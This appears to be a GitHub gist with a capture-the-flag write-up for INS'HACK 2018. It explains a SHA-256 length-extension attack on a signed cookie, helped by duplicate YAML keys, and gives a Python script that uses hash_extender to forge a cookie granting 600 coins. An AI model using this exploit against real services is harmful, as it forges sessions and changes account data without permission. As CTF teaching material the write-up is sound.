Skip to content

Instantly share code, notes, and snippets.

@LoadLow
Last active November 5, 2018 23:34
Show Gist options
  • Save LoadLow/e9b807b36ecbde7f75f5b4a432691fae to your computer and use it in GitHub Desktop.
Save LoadLow/e9b807b36ecbde7f75f5b4a432691fae to your computer and use it in GitHub Desktop.
INS'HACK CTF 2018 - Web Crypt0r part 2 - Extend the hash - RushB%
  1. Guessed integrity check : user : hash : b64_encoded_info in cookie user

  2. info in YAML format

  3. Some YAML parsers allow to redefine the same key, that replaces the old value

  4. We have a hint : /src-code/ contains a swp file, original file was removed. It's easy to extract from it the src code of the web app. Of course it's a double-key permissive YAML parser

  5. A bad salt algorithm is used : sha256(passkey + salt + info)

  6. Salt length : passkey.len == 20 and salt.len == 10, we could consider a single salt of 30 bytes and extend the hash

  7. Pwned :>

import base64
import subprocess
import sys
cookie = sys.argv[1].split(':')
user = cookie[0]
base_sign = cookie[1]
info = base64.decodestring(cookie[2])
to_append = "\ninsa_coins: 600\n"
file = open('base_info.txt', 'w')
file.write(info)
file.close()
result = subprocess.check_output([
'./hash_extender',
'--file=base_info.txt',
'-s', base_sign, '-f', 'sha256', '-l', '30',
'-a', to_append,
'--out-data-format', 'raw',
'--out-signature-format', 'hex',
'-q'
])
new_hash = result[:64]
new_user_infos = result[64:]
new_cookie = user + ':' + new_hash + ':' + base64.b64encode(new_user_infos)
print("New cookie is : " + new_cookie)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment